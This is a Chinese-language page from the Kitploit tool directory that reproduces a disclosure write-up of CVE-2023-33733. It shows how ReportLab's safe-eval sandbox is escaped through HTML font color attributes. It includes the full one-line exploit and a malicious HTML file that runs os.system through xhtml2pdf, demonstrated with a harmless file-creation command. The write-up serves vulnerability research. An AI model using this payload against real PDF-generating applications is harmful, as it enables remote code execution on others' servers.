Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-33733 — CVE-2023-33733 reportlab RCE | Kitploit
工具/GitHubGitHub/c53elyas/cve-2023-33733
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubc53elyas/cve-2023-33733

CVE-2023-33733

CVE-2023-33733 reportlab RCE

查看仓库
121182年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

REPORTLAB PYTHON 库中的代码注入漏洞

tl;dr 本文详细介绍了如何在 Reportlab 中发现并利用一个 RCE 漏洞。由于 Reportlab 在 HTML 转 PDF 处理中的普遍使用,该漏洞可能影响许多处理 PDF 文件的应用程序,因此这是一个需要重点修复和关注的重要漏洞。

引言

几天前,在一次 Web 应用审计中,我们注意到该应用使用 Reportlab Python 库根据 HTML 输入动态生成 PDF 文件。我们发现 Reportlab 存在一个此前已被修补的漏洞,可导致代码执行。这意味着,从攻击者的角度来看,找到该补丁的绕过方式非常有价值,因为这将重新实现代码执行,尤其是 Reportlab 库也被其他应用程序和工具使用。

Reportlab 是什么

首先,快速回顾一下:Reportlab 是一个开源项目,允许使用 Python 编程语言创建 Adobe 便携式文档格式(PDF)的文档。它还可以创建各种位图和矢量格式的图表和数据图形,以及 PDF。

攻击 Reportlab

该库在 2019 年曾出现过类似的漏洞,可通过 HTML 标签的 Color 属性导致远程代码执行:该属性的内容直接使用 eval 函数作为 Python 表达式进行求值,从而导致代码执行。为了缓解此问题,Reportlab 实现了一个名为 rl_safe_eval 的沙箱,它移除了所有 Python 内置函数,并重写了多个内置函数,以允许库的安全代码执行,同时阻止任何对危险函数和库的访问,这些危险函数和库随后可能被用来构造危险的 Python 代码:

root@kitploit:~
class __RL_SAFE_ENV__(object):
	__time_time__ = time.time
	__weakref_ref__ = weakref.ref
	__slicetype__ = type(slice(0))
	def __init__(self, timeout=None, allowed_magic_methods=None):
		self.timeout = timeout if timeout is not None else self.__rl_tmax__
		self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
									else allowed_magic_methods) if allowed_magic_methods else []
		#[...]
		# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
		# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT 
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		
		#[...]
	def __rl_getattr__(self, obj, a, *args):
		if isinstance(obj, strTypes) and a=='format':
			raise BadCode('%s.format is not implemented' % type(obj))
		# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
		# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT 
		self.__rl_is_allowed_name__(a)
		return getattr(obj,a,*args)

	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

漏洞

如前所述,安全 eval 会从环境中清除所有危险函数,使被执行的代码无法访问可用于执行恶意操作的危险工具。然而,如果能找到绕过这些限制的方法,并重新获得对某个原始内置函数的访问权限,将极大地促进对沙箱环境的利用。

被重写的众多内置类中有一个叫做 type。如果以单个参数调用这个类,它会返回对象的类型;但如果以三个参数调用,它会返回一个新的类型对象。这本质上是 class 语句的动态形式。换句话说,它可以允许创建一个继承自另一个类的新类。

因此,这里的思路是创建一个名为 Word 的新类,它继承自 str,当它被传递给自定义的 getattr 时,可以绕过检查并允许访问诸如 __code__ 之类的敏感属性。

在沙箱 eval 中的自定义 getattr 返回属性之前,它会通过调用 __rl_is_allowed_name__ 进行一些检查,以验证所请求属性的安全性,然后才调用 Python 内置的 getattr 并返回结果。

root@kitploit:~
	def __rl_is_allowed_name__(self, name):
		"""Check names if they are allowed.
		If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
		are additionally allowed although their names start with `_`.
		"""
		if isinstance(name,strTypes):
			if name in __rl_unsafe__ or (name.startswith('__')
				and name!='__'
				and name not in self.allowed_magic_methods):
				raise BadCode('unsafe access of %s' % name)

要绕过 __rl_is_allowed_name__ 函数,Word 类应该:

  • 对函数 startswith 的调用始终返回 False,以绕过 (name.startswith('__')
  • 对其第一次 __eq__ 调用返回 False,以绕过 name in __rl_unsafe__;在第一次调用之后,应返回正确的结果,因为当 Python 内置 getattr 调用 __eq__ 时,它需要返回正确的结果。
  • 其哈希值应与其底层字符串的哈希值相同。

以下类满足这些条件:

root@kitploit:~
Word = type('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })
code = Word('__code__')
print(code == '__code__')    ## prints False
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True
print(code == '__code__')    ## prints True

print(code.startswith('__')) ## prints False

安全 eval 中的自定义 type 函数不允许传入三个参数:

root@kitploit:~
	def __rl_type__(self,*args):
		if len(args)==1: return type(*args)
		raise BadCode('type call error')

通过让 type 调用自身可以绕过此限制,从而取回原始的内置 type 函数:

root@kitploit:~
orgTypeFun = type(type(1))

将这两行代码组合起来,就会得到类似这样的结果:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
            'mutated'   : 1,
            'startswith': lambda self, x: False,
            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__'  : lambda self: hash(str(self))
            })

访问全局内置函数

最初的利用代码存在多个缺陷,导致它只能在 Python 3.10 上利用。为了解决这些问题,我们采用了一种新方法来访问 os Python 模块。

Reportlab 库重写了多个内置函数的实现,并将它们作为全局变量注入 eval 上下文。

rl_safe_eval.py 中自定义函数覆盖默认内置函数的示例:

root@kitploit:~
		__rl_builtins__['getattr'] = self.__rl_getattr__
		__rl_builtins__['dict'] = __rl_dict__
		__rl_builtins__['iter'] = self.__rl_getiter__
		__rl_builtins__['pow'] = self.__rl_pow__
		__rl_builtins__['list'] = self.__rl_list__
		__rl_builtins__['type'] = self.__rl_type__
		__rl_builtins__['max'] = self.__rl_max__

由于这些函数是在全局上下文中构造的,因此可以通过这些自定义函数的 __globals__ 属性访问全局变量和模块。

以下代码应在 eval 上下文中执行

root@kitploit:~
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')

最终利用

剩下的就是编写利用代码了:

为此,我们将从一个已编译函数的字节码中重构一个函数:

root@kitploit:~
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
    'mutated': 1,
            'startswith': lambda self, x: False,
            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
            '__hash__': lambda self: hash(str(self))
            })
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')

然而,像这样的多行表达式无法在 eval 上下文中执行。为了绕过这个问题,可以使用 list comprehension 技巧,例如:

root@kitploit:~
[print(x) for x in ['hellworld']]
# which would be equivalent to 
x='helloworld'
print(x)


[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]
# which would be equivalent to 
x='first var'
x='second var'
print (x + ' ' + y) 

利用这一技术,可以利用代码改写为单行代码(这被视为一行,x)这里的多行只是为了提高利用代码的可读性而进行的格式化,声明应自下而上阅读 x)虽然奇怪,但就是这样运作的):

root@kitploit:~
[
    [
        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
        for Word in [
            orgTypeFun(
                'Word',
                (str,),
                {
                    'mutated': 1,
                    'startswith': lambda self, x: False,
                    '__eq__': lambda self, x: self.mutate()
                    and self.mutated < 0
                    and str(self) == x,
                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
                    '__hash__': lambda self: hash(str(self)),
                },
            )
        ]
    ]
    for orgTypeFun in [type(type(1))]
]

POC

请参阅 poc.py,其中包含概念验证代码,演示了代码执行(成功利用后,会在 /tmp/ 目录下创建一个名为 exploited 的文件)。

还有什么?

许多应用程序和库都使用 Reportlab 库,例如 xhtml2pdf 工具函数就存在漏洞,在将恶意 HTML 转换为 PDF 时可能会遭受代码执行攻击。

root@kitploit:~
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>
EOF

xhtml2pdf mallicious.html
ls -al /tmp/exploited

致谢

我要感谢 Matthias Weckbecker 的合作,以及与他就原始利用代码的缺陷进行的精彩交流。现在,该利用代码可以在所有 Python 3 版本上无缝运行 :D

下载工具